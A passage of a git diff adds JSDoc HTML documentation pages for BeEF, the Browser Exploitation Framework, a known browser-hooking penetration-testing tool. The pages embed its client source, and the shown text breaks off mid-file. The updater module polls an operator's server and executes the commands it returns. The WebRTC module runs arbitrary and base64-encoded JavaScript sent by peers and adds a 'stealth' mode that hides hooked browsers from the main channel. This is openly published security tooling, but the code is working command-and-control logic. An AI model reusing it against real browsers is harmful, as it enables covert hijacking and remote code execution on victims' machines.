14px; border-left: 2px solid #DDD; } +.details dt { width: 120px; float: left; padding-left: 10px; padding-top: 6px; } +.details dd { margin-left: 70px; } +.details ul { margin: 0; } +.details ul { list-style-type: none; } +.details li { margin-left: 30px; padding-top: 6px; } +.details pre.prettyprint { margin: 0 } +.details .object-value { padding-top: 0; } + +.description { + margin-bottom: 1em; + margin-top: 1em; +} + +.code-caption +{ + font-style: italic; + font-size: 107%; + margin: 0; +} + +.source +{ + border: 1px solid #ddd; + width: 80%; + overflow: auto; +} + +.prettyprint.source { + width: inherit; +} + +.source code +{ + font-size: 100%; + line-height: 18px; + display: block; + padding: 4px 12px; + margin: 0; + background-color: #fff; + color: #4D4E53; +} + +.prettyprint code span.line +{ + display: inline-block; +} + +.prettyprint.linenums +{ + padding-left: 70px; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} + +.prettyprint.linenums ol +{ + padding-left: 0; +} + +.prettyprint.linenums li +{ + border-left: 3px #ddd solid; +} + +.prettyprint.linenums li.selected, +.prettyprint.linenums li.selected * +{ + background-color: lightyellow; +} + +.prettyprint.linenums li * +{ + -webkit-user-select: text; + -moz-user-select: text; + -ms-user-select: text; + user-select: text; +} + +.params .name, .props .name, .name code { + color: #4D4E53; + font-family: Consolas, Monaco, 'Andale Mono', monospace; + font-size: 100%; +} + +.params td.description > p:first-child, +.props td.description > p:first-child +{ + margin-top: 0; + padding-top: 0; +} + +.params td.description > p:last-child, +.props td.description > p:last-child +{ + margin-bottom: 0; + padding-bottom: 0; +} + +.disabled { + color: #454545; +} diff --git a/docs/styles/prettify-jsdoc.css b/docs/styles/prettify-jsdoc.css new file mode 100644 index 000000000..5a2526e37 --- /dev/null +++ b/docs/styles/prettify-jsdoc.css @@ -0,0 +1,111 @@ +/* JSDoc prettify.js theme */ + +/* plain text */ +.pln { + color: #000000; + font-weight: normal; + font-style: normal; +} + +/* string content */ +.str { + color: #006400; + font-weight: normal; + font-style: normal; +} + +/* a keyword */ +.kwd { + color: #000000; + font-weight: bold; + font-style: normal; +} + +/* a comment */ +.com { + font-weight: normal; + font-style: italic; +} + +/* a type name */ +.typ { + color: #000000; + font-weight: normal; + font-style: normal; +} + +/* a literal value */ +.lit { + color: #006400; + font-weight: normal; + font-style: normal; +} + +/* punctuation */ +.pun { + color: #000000; + font-weight: bold; + font-style: normal; +} + +/* lisp open bracket */ +.opn { + color: #000000; + font-weight: bold; + font-style: normal; +} + +/* lisp close bracket */ +.clo { + color: #000000; + font-weight: bold; + font-style: normal; +} + +/* a markup tag name */ +.tag { + color: #006400; + font-weight: normal; + font-style: normal; +} + +/* a markup attribute name */ +.atn { + color: #006400; + font-weight: normal; + font-style: normal; +} + +/* a markup attribute value */ +.atv { + color: #006400; + font-weight: normal; + font-style: normal; +} + +/* a declaration */ +.dec { + color: #000000; + font-weight: bold; + font-style: normal; +} + +/* a variable name */ +.var { + color: #000000; + font-weight: normal; + font-style: normal; +} + +/* a function name */ +.fun { + color: #000000; + font-weight: bold; + font-style: normal; +} + +/* Specify class=linenums on a pre to get line numbering */ +ol.linenums { + margin-top: 0; + margin-bottom: 0; +} diff --git a/docs/styles/prettify-tomorrow.css b/docs/styles/prettify-tomorrow.css new file mode 100644 index 000000000..b6f92a78d --- /dev/null +++ b/docs/styles/prettify-tomorrow.css @@ -0,0 +1,132 @@ +/* Tomorrow Theme */ +/* Original theme - https://github.com/chriskempson/tomorrow-theme */ +/* Pretty printing styles. Used with prettify.js. */ +/* SPAN elements with the classes below are added by prettyprint. */ +/* plain text */ +.pln { + color: #4d4d4c; } + +@media screen { + /* string content */ + .str { + color: #718c00; } + + /* a keyword */ + .kwd { + color: #8959a8; } + + /* a comment */ + .com { + color: #8e908c; } + + /* a type name */ + .typ { + color: #4271ae; } + + /* a literal value */ + .lit { + color: #f5871f; } + + /* punctuation */ + .pun { + color: #4d4d4c; } + + /* lisp open bracket */ + .opn { + color: #4d4d4c; } + + /* lisp close bracket */ + .clo { + color: #4d4d4c; } + + /* a markup tag name */ + .tag { + color: #c82829; } + + /* a markup attribute name */ + .atn { + color: #f5871f; } + + /* a markup attribute value */ + .atv { + color: #3e999f; } + + /* a declaration */ + .dec { + color: #f5871f; } + + /* a variable name */ + .var { + color: #c82829; } + + /* a function name */ + .fun { + color: #4271ae; } } +/* Use higher contrast and text-weight for printable form. */ +@media print, projection { + .str { + color: #060; } + + .kwd { + color: #006; + font-weight: bold; } + + .com { + color: #600; + font-style: italic; } + + .typ { + color: #404; + font-weight: bold; } + + .lit { + color: #044; } + + .pun, .opn, .clo { + color: #440; } + + .tag { + color: #006; + font-weight: bold; } + + .atn { + color: #404; } + + .atv { + color: #060; } } +/* Style */ +/* +pre.prettyprint { + background: white; + font-family: Consolas, Monaco, 'Andale Mono', monospace; + font-size: 12px; + line-height: 1.5; + border: 1px solid #ccc; + padding: 10px; } +*/ + +/* Specify class=linenums on a pre to get line numbering */ +ol.linenums { + margin-top: 0; + margin-bottom: 0; } + +/* IE indents via margin-left */ +li.L0, +li.L1, +li.L2, +li.L3, +li.L4, +li.L5, +li.L6, +li.L7, +li.L8, +li.L9 { + /* */ } + +/* Alternate shading for lines */ +li.L1, +li.L3, +li.L5, +li.L7, +li.L9 { + /* */ } diff --git a/docs/timeout.js.html b/docs/timeout.js.html new file mode 100644 index 000000000..20b7ce98e --- /dev/null +++ b/docs/timeout.js.html @@ -0,0 +1,74 @@ + + + + + JSDoc: Source: timeout.js + + + + + + + + + + +
+ +

Source: timeout.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Sometimes there are timing issues and looks like beef_init
+ * is not called at all (always in cross-origin situations,
+ * for example calling the hook with jquery getScript,
+ * or sometimes with event handler injections).
+ * 
+ * To fix this, we call again beef_init after 1 second.
+ * Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
+ * antisnatchor
+ * @namespace beef.timeout
+ */
+
+ /**
+  * @memberof beef.timeout 
+  * @function setTimeout 
+  */
+setTimeout(beef_init, 1000);
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/updater.js.html b/docs/updater.js.html new file mode 100644 index 000000000..8a816c4d4 --- /dev/null +++ b/docs/updater.js.html @@ -0,0 +1,144 @@ + + + + + JSDoc: Source: updater.js + + + + + + + + + + +
+ +

Source: updater.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Object in charge of getting new commands from the BeEF framework and execute them.
+ * The XHR-polling channel is managed here. If WebSockets are enabled,
+ * websocket.ls is used instead.
+ * @namespace beef.updater
+ */
+beef.updater = {
+	
+	/** XHR-polling timeout. */ 
+	xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
+	
+	/** Hook session name. */ 
+    beefhook: "<%= @hook_session_name %>",
+	
+	/** A lock. */ 
+	lock: false,
+	
+	/** An object containing all values to be registered and sent by the updater. */
+	objects: new Object(),
+	
+	/**
+	 * Registers an object to always send when requesting new commands to the framework.
+	 * @param {String} key the name of the object.
+	 * @param {String} value the value of that object.
+	 * 
+	 * @example beef.updater.regObject('java_enabled', 'true');
+	 */
+	regObject: function(key, value) {
+		this.objects[key] = escape(value);
+	},
+	
+	// Checks for new commands from the framework and runs them.
+	check: function() {
+		if(this.lock == false) {
+			if (beef.logger.running) {
+				beef.logger.queue();
+			}
+			beef.net.flush();
+			if(beef.commands.length > 0) {
+				this.execute_commands();
+			}else {
+				this.get_commands();    /*Polling*/
+			}
+		}
+        /* The following gives a stupid syntax error in IE, which can be ignored*/
+        setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
+	},
+	
+    /**
+     * Gets new commands from the framework.
+     */
+	get_commands: function() {
+		try {
+			this.lock = true;
+            beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
+                if (response.body != null && response.body.length > 0)
+                    beef.updater.execute_commands();
+            });
+		} catch(e) {
+			this.lock = false;
+			return;
+		}
+		this.lock = false;
+	},
+	
+    /**
+     * Executes the received commands, if any.
+     */
+	execute_commands: function() {
+		if(beef.commands.length == 0) return;
+		this.lock = true;
+		while(beef.commands.length > 0) {
+			command = beef.commands.pop();
+			try {
+				command();
+			} catch(e) {
+				beef.debug('execute_commands - command failed to execute: ' + e.message);
+                // prints the command source to be executed, to better trace errors
+                // beef.client_debug must be enabled in the main config
+                beef.debug(command.toString());
+			}
+		}
+		this.lock = false;
+	}
+};
+
+beef.regCmp('beef.updater');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/webrtc.js.html b/docs/webrtc.js.html new file mode 100644 index 000000000..f4b30e02d --- /dev/null +++ b/docs/webrtc.js.html @@ -0,0 +1,767 @@ + + + + + JSDoc: Source: webrtc.js + + + + + + + + + + +
+ +

Source: webrtc.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+
+/**
+ * Manage the WebRTC peer to peer communication channels.
+ * This objects contains all the necessary client-side WebRTC components,
+ * allowing browsers to use WebRTC to communicate with each other.
+ * To provide signaling, the WebRTC extension sets up custom listeners.
+ *  /rtcsignal - for sending RTC signalling information between peers
+ *  /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
+ *
+ * To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
+ * the signalling.
+ *
+ * This is all mostly a Proof of Concept
+ * @namespace beef.webrtc
+ */
+
+/** 
+ * To handle multiple peers - we need to have a hash of Beefwebrtc objects. The key is the peer id. 
+ * @memberof beef.webrtc
+*/
+beefrtcs = {};
+/** 
+ * To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
+ * these objects persist outside of everything else. The key is the peer id.
+ * @memberof beef.webrtc
+ */
+globalrtc = {}; 
+/** 
+ * stealth should only be initiated from one peer - this global variable will contain:
+ * false - i.e not stealthed; or
+ * <peerid> - i.e. the id of the browser which initiated stealth mode
+ * @memberof beef.webrtc
+ */
+rtcstealth = false; 
+/** 
+ * To handle multiple event channels - we need to have a global hash of these. The key is the peer id 
+ * @memberof beef.webrtc
+*/
+rtcrecvchan = {}; 
+
+/**
+ * Beefwebrtc object - wraps everything together for a peer connection
+ * One of these per peer connection, and will be stored in the beefrtc global hash
+ * @memberof beef.webrtc
+ * @param initiator 
+ * @param peer 
+ * @param turnjson 
+ * @param stunservers 
+ * @param verbparam 
+ */
+function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
+    this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
+    this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
+    this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
+    this.turnjson = turnjson; // set of TURN servers in the format:
+                              // {"username": "<username", "password": "<password>", "uris": [
+                              //    "turn:<ip>:<port>?transport=<udp/tcp>",
+                              //    "turn:<ip>:<port>?transport=<udp/tcp>"]}
+    this.started = false; // Has signaling / dialing started for this peer
+    this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
+    this.turnDone = false; // does the pcConfig have TURN servers added to it?
+    this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
+                                 // the receiver will set this to true once it receives an SDP 'offer'
+    this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
+    this.pcConfig = null; // We set this during init
+    this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
+    this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
+    this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
+    this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
+    this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
+    this.dataChannel = null; // The data channel used by this peer
+    this.stunservers = stunservers; // set of STUN servers, in the format:
+                                    // ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
+}
+
+/**
+ * Initialize the object
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.initialize = function() {
+  if (this.peerid == null) {
+    return 0; // no peerid - NO DICE
+  }
+
+  // Initialise the pcConfig hash with the provided stunservers
+  var stuns = JSON.parse(this.stunservers);
+  this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
+    "credential":"pass"}]};
+
+  // We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
+  // this.forceTurn(this.turnjson);
+  this.turnDone = true;
+
+  // Caller is always ready to create peerConnection.
+  this.signalingReady = this.initiator;
+
+  // Start .. maybe 
+  this.maybeStart();
+
+  // If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
+  // window.onbeforeunload = function() {
+  //   this.sendSignalMsg({type: 'bye'});
+  // }
+
+  return 1; // because .. yeah .. we had a peerid - this is good yar.
+}
+
+/** 
+ * Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
+ * These values are now simply passed in from the config.yaml for the webrtc extension
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.forceTurn = function(jason) {
+    var turnServer = JSON.parse(jason);
+    var iceServers = createIceServers(turnServer.uris,
+                                      turnServer.username,
+                                      turnServer.password);
+    if (iceServers !== null) {
+        this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
+    }
+    beef.debug("Got TURN servers, will try and maybestart again..");
+    this.turnDone = true;
+    this.maybeStart();
+}
+
+/**
+ * Try and establish the RTC connection
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.createPeerConnection = function() {
+  beef.debug('Creating RTCPeerConnnection with the following options:\n' +
+            '  config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
+            '  constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
+  try {
+    // Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
+    globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
+    globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
+    beef.debug('Created RTCPeerConnnection with the following options:\n' +
+              '  config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
+              '  constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
+    
+  } catch (e) {
+    beef.debug('Failed to create PeerConnection, exception: ');
+    beef.debug(e);
+    return;
+  }
+
+  // Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
+  globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
+  globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
+  globalrtc[this.peerid].ondatachannel = this.onDataChannel;
+  this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
+}
+
+/** 
+ * When the PeerConnection receives a new ICE Candidate 
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onIceCandidate = function(event) {
+  var peerid = null;
+
+  for (var k in beefrtcs) {
+    if (beefrtcs[k].allgood === false) {
+      peerid = beefrtcs[k].peerid;
+    }
+  }
+
+  beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
+  beef.debug(event);
+
+  if (event.candidate) {
+    // Send the candidate to the peer via the BeEF signalling channel
+    beefrtcs[peerid].sendSignalMsg({type: 'candidate',
+                 label: event.candidate.sdpMLineIndex,
+                 id: event.candidate.sdpMid,
+                 candidate: event.candidate.candidate});
+    // Note this ICE candidate locally
+    beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
+  } else {
+    beef.debug('End of candidates.');
+  }
+}
+
+/**
+ * For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
+ * This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
+ * against the message directly
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.processMessage = function(message) {
+  beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
+  var msg = JSON.parse(message);
+
+  if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
+    beef.debug('processing the message, as a receiver');
+    if (msg.type === 'offer') { // This IS an SDP Offer
+      beef.debug('.. and the message is an offer .. ');
+      this.msgQueue.unshift(msg); // put it on the top of the msgqueue
+      this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
+      this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
+    } else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
+      beef.debug(' .. the message is NOT an offer .. ');
+      this.msgQueue.push(msg);
+    }
+  } else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
+    beef.debug('processing the message, as the sender, no answers yet');
+    if (msg.type === 'answer') { // This IS an SDP Answer
+        beef.debug('.. and we have an answer ..');
+        this.processSignalingMessage(msg); // Process the message directly
+        this.gotanswer = true; // We have now received an answer
+        //process all other queued message...
+        while (this.msgQueue.length > 0) {
+            this.processSignalingMessage(this.msgQueue.shift());
+        }
+    } else { // This is NOT an SDP Answer - as the caller, just add it to the queue
+        beef.debug('.. not an answer ..');
+        this.msgQueue.push(msg);
+    }
+  } else { // For all other messages just drop them in the queue
+    beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
+    this.processSignalingMessage(msg);
+  } 
+}
+
+/** 
+ * Send a signalling message ..
+ * @memberof beef.webrtc
+ */ 
+Beefwebrtc.prototype.sendSignalMsg = function(message) {
+  var msgString = JSON.stringify(message);
+  beef.debug('Signalling Message - C->S: ' + msgString);
+  beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
+}
+
+/**
+ * Used to record ICS candidates locally
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
+  if (this.gatheredIceCandidateTypes[location][type])
+    return;
+  this.gatheredIceCandidateTypes[location][type] = 1;
+  // updateInfoDiv();
+}
+
+
+/**
+ * When the signalling state changes. We don't actually do anything with this except log it.
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
+  beef.debug("Signalling has changed to: " + event.target.signalingState);
+}
+
+/**
+ * When the ICE Connection State changes - this is useful to determine connection statuses with peers.
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
+  var peerid = null;
+
+  for (k in globalrtc) {
+    if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
+      peerid = k;
+    }
+  }
+
+  beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);
+
+  // ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for 
+  // better candidates or connections
+  if (event.target.iceConnectionState === 'connected') {
+    //Send status to peer
+    window.setTimeout(function() {
+        beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
+        beefrtcs[peerid].allgood = true;
+        },1000);
+  }
+
+  // Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
+  if (event.target.iceConnectionState === 'completed') {
+    window.setTimeout(function() {
+      beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
+      beefrtcs[peerid].allgood = true;
+    },1000);
+  }
+
+  if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
+    //I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
+    rtcstealth = false;
+    beefrtcs[peerid].allgood = false;
+    beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
+  } else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
+    //I was not in stealth, and this peer has gone offline - send a message
+    beefrtcs[peerid].allgood = false;
+    beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
+  }
+  // We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
+  // This is possibly a bad idea - @xntrik
+
+
+}
+
+/**
+ * This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.goStealth = function() {
+    //stop the beef updater
+    rtcstealth = this.peerid; // this is a global variable
+    beef.updater.lock = true;
+    this.sendPeerMsg('Going into stealth mode');
+
+    setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
+}
+
+/**
+ * This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
+ * @memberof beef.webrtc
+ */
+rtcpollPeer = function() {
+    if (rtcstealth == false) {
+        //my peer has disabled stealth mode
+        beef.updater.lock = false;
+        return;
+    }
+
+    beef.debug('lub dub');
+
+    beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
+
+    setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
+}
+
+/** 
+ * When a data channel has been established - within here is the message handling function as well
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onDataChannel = function(event) {
+  var peerid = null;
+  for (k in globalrtc) {
+    if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
+      peerid = k;
+    }
+  }
+
+  beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
+  rtcrecvchan[peerid] = event.channel;
+
+  // This is the onmessage event handling within the datachannel
+  rtcrecvchan[peerid].onmessage = function(ev2) {
+    beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);
+
+    // We've received the command to go into stealth mode
+    if (ev2.data == "!gostealth") {
+        if (beef.updater.lock == true) {
+            setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
+        } else {
+            beefrtcs[peerid].goStealth();
+        }
+
+    // The message to come out of stealth
+    } else if (ev2.data == "!endstealth") {
+
+      if (rtcstealth != null) {
+        beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
+        rtcstealth = false;
+      }
+
+    // Command to perform arbitrary JS (while stealthed)
+    } else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
+      beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
+      beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
+
+    // Command to perform arbitrary JS (while NOT stealthed)
+    } else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
+      beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
+      beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
+
+    // B64d command from the /cmdexec API
+    } else if (ev2.data.charAt(0) == "@") {
+      beef.debug('message was a b64d command');
+
+      var fn = new Function(atob(ev2.data.substring(1)));
+      fn();
+      if (rtcstealth != false) { // force stealth back on ?
+        beef.updater.execute_commands(); // FORCE execution while stealthed
+        beef.updater.lock = true;
+      }
+
+
+    // Just a plain text message .. (while stealthed)
+    } else if (rtcstealth != false) {
+      beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
+      beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
+
+    // Just a plan text message (while NOT stealthed)
+    } else {
+      beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
+      beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
+    }
+  } 
+}
+
+/**
+ * How the browser executes received JS (this is pretty hacky)
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.execCmd = function(input) {
+  var fn = new Function(input);
+  var res = fn();
+  return res.toString();
+}
+
+/**
+ * Shortcut function to SEND a data messsage
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.sendPeerMsg = function(msg) {
+  beef.debug('sendPeerMsg to ' + this.peerid);
+  this.dataChannel.send(msg);
+}
+
+/**
+ * Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.maybeStart = function() {
+  beef.debug("maybe starting ... ");
+
+  if (!this.started && this.signalingReady && this.turnDone) {
+    beef.debug('Creating PeerConnection.');
+    this.createPeerConnection();
+
+    this.started = true;
+
+    if (this.initiator) {
+      beef.debug("Making the call now .. bzz bzz");
+      this.doCall();
+    } else {
+      beef.debug("Receiving a call now .. somebuddy answer da fone?");
+      this.calleeStart();
+    }
+
+  } else {
+    beef.debug("Not ready to start just yet..");
+  }
+}
+
+/** 
+ * RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.doCall = function() {
+  var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
+  var self = this;
+  globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
+  beef.debug('Sending offer to peer, with constraints: \n' +
+             '  \'' + JSON.stringify(constraints) + '\'.');
+}
+
+/**
+ * Helper method to merge SDP constraints
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
+  var merged = cons1;
+  for (var name in cons2.mandatory) {
+    merged.mandatory[name] = cons2.mandatory[name];
+  }
+  merged.optional.concat(cons2.optional);
+  return merged;
+}
+
+/**
+ * Sets the local RTC session description, sends this information back (via signalling)
+ * The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
+ * The receiver uses this information too - and vice-versa - hence the signaling
+ * 
+ */
+Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
+  var peerid = null;
+
+  for (var k in beefrtcs) {
+    if (beefrtcs[k].allgood === false) {
+      peerid = beefrtcs[k].peerid;
+    }
+  }
+  beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");
+
+  globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
+  beefrtcs[peerid].sendSignalMsg(sessionDescription);
+
+  function onSetSessionDescriptionSuccess() {
+    beef.debug('Set session description success.');
+  }
+
+  function onSetSessionDescriptionError() {
+    beef.debug('Failed to set session description');
+  }
+}
+
+/**
+ * If the browser can't build an SDP
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
+  beef.debug('Failed to create session description: ' + error.toString());
+}
+
+/**
+ * If the browser successfully sets a remote description
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
+  beef.debug('Set remote session description successfully');
+}
+
+/**
+ * Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.calleeStart = function() {
+  // Callee starts to process cached offer and other messages.
+  while (this.msgQueue.length > 0) {
+    this.processSignalingMessage(this.msgQueue.shift());
+  }
+}
+
+/** 
+ * Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.processSignalingMessage = function(message) {
+  if (!this.started) {
+    beef.debug('peerConnection has not been created yet!');
+    return;
+  }
+
+  if (message.type === 'offer') {
+    beef.debug("Processing signalling message: OFFER");
+    if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
+                                     // version of FF - which no longer works
+        beef.debug("Moz shim here");
+        globalrtc[this.peerid].setRemoteDescription(
+            new RTCSessionDescription(message),
+            function() {
+              // globalrtc[this.peerid].createAnswer(function(answer) {
+              //   globalrtc[this.peerid].setLocalDescription(
+
+              var peerid = null;
+
+              for (var k in beefrtcs) {
+                if (beefrtcs[k].allgood === false) {
+                  peerid = beefrtcs[k].peerid;
+                }
+              }
+
+              globalrtc[peerid].createAnswer(function(answer) {
+                globalrtc[peerid].setLocalDescription(
+                    new RTCSessionDescription(answer),
+                    function() {
+                      beefrtcs[peerid].sendSignalMsg(answer);
+                    },function(error) {
+                      beef.debug("setLocalDescription error: " + error);
+                    });
+              },function(error) {
+                beef.debug("createAnswer error: " +error);
+              });
+            },function(error) {
+              beef.debug("setRemoteDescription error: " + error);
+            });
+                          
+    } else {
+      this.setRemote(message);
+      this.doAnswer();
+    }
+  } else if (message.type === 'answer') {
+    beef.debug("Processing signalling message: ANSWER");
+    if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
+        beef.debug("Moz shim here");
+        globalrtc[this.peerid].setRemoteDescription(
+          new RTCSessionDescription(message),
+          function() {},
+          function(error) {
+            beef.debug("setRemoteDescription error: " + error);
+          });
+    } else {
+      this.setRemote(message);
+    }
+  } else if (message.type === 'candidate') {
+    beef.debug("Processing signalling message: CANDIDATE");
+    var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
+                                         candidate: message.candidate});
+    this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
+    globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
+  } else if (message.type === 'bye') {
+    this.onRemoteHangup();
+  }
+}
+
+/**
